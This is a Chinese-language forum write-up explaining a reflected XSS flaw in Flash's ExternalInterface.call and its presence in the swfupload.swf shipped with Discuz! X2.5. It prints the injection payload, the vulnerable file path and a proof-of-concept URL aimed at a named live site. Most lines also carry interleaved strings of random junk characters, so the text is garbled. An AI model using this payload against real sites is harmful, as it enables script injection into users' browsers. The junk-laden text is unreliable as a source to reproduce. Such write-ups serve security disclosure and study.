上回我们说# b& o* N3 X" N
; G0 b7 d" z- O9 ?flash.external.ExternalInterface.call($methodName, $parameter)7 ~+ @$ x2 F6 x
在浏览器中执行的是
0 L' w4 a! K, v4 v+ U9 h; P6 R8 r, |) U) e" H
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
3 Z6 ?, @+ D5 m, \* S对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如9 ]' d) O6 g" ^$ l
- ?# f9 @5 X4 P: X7 @
flash.external.ExternalInterface.call("object."+$methodName, $parameter)
7 H6 S& t! h. P$methodName = a())}catch(e){alert(/xss/)}//. F+ h5 R8 m1 V# r) A9 B
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
% f& z) U- W8 l. \% [3 F& l5 D" {+ E5 T8 K% D( h6 L" v
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }5 c+ [- l; ^, F, @2 l0 @* w; {, s. Z
4 W6 Y% p# m5 z) I这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
! _% |& C/ ?- F& f- I. `& Y杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。; ]9 n! ]: F+ l- f
E# i) _: a! y
; n; o, z6 ~ c s( t* [/ F( d
) ]9 f% q: i2 G% |漏洞文件:upload\static\image\common\swfupload.swf
7 a2 `7 ^5 _4 F2 O# ?" Q
) i) F B C! d3 k( `原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
- s2 V8 b* B. c; U) G9 j. R) V% e; ?7 j/ L& [% n4 Y( K$ k
* M- S( `! `- B/ y8 [漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//0 b& S7 F; E1 t: J
) @' E( o. ~9 l( D$ x# S# u2 ^) R, ~5 g# J8 A+ o/ P
|